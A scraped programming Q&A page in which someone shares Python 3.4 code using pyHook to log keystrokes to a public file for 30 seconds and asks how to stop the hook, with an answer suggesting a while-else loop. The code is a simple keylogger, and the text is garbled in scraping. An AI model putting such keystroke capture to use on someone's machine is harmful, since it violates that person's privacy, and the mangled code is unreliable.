python - How to stop this program? -
i want stop logging keystrokes after time script can other things. have read similar questions have not found solution works me. in of cases terminate whole program.
the progress have made using waitingmessages not go stocked not finish either. evident doing wrong here, can give me working examples within answers.
i using python 3.4.1 in windows environment.
import pyhook, pythoncom, sys, logging, time, ctypes def syp(event): file_log = 'c:\\users\\public\\archive.txt' logging.basicconfig(filename=file_log, level=logging.debug, format='%(message)s') chr(event.ascii) logging.log(10,chr(event.ascii)) return true timeout=time.time()+30 hooks_manager = pyhook.hookmanager() hooks_manager.keydown = syp hooks_manager.hookkeyboard() while true: pythoncom.pumpwaitingmessages() #<--------- hate u stupid method u.u if timeout <= time.time(): hooks_manager.unhookkeyboard() ctypes.windll.user32.postquitmessage(0) break print("kelogging off bye.")
i looked locally , made work. including code below. had seen pumpmessages()
method accidentally used , did not give opportunity stop in manner. on related note, can use while-else syntax in python:
timeout=time.time()+30 while timeout>= time.time(): pythoncom.pumpwaitingmessages() else: hooks_manager.unhookkeyboard()
Comments
Post a Comment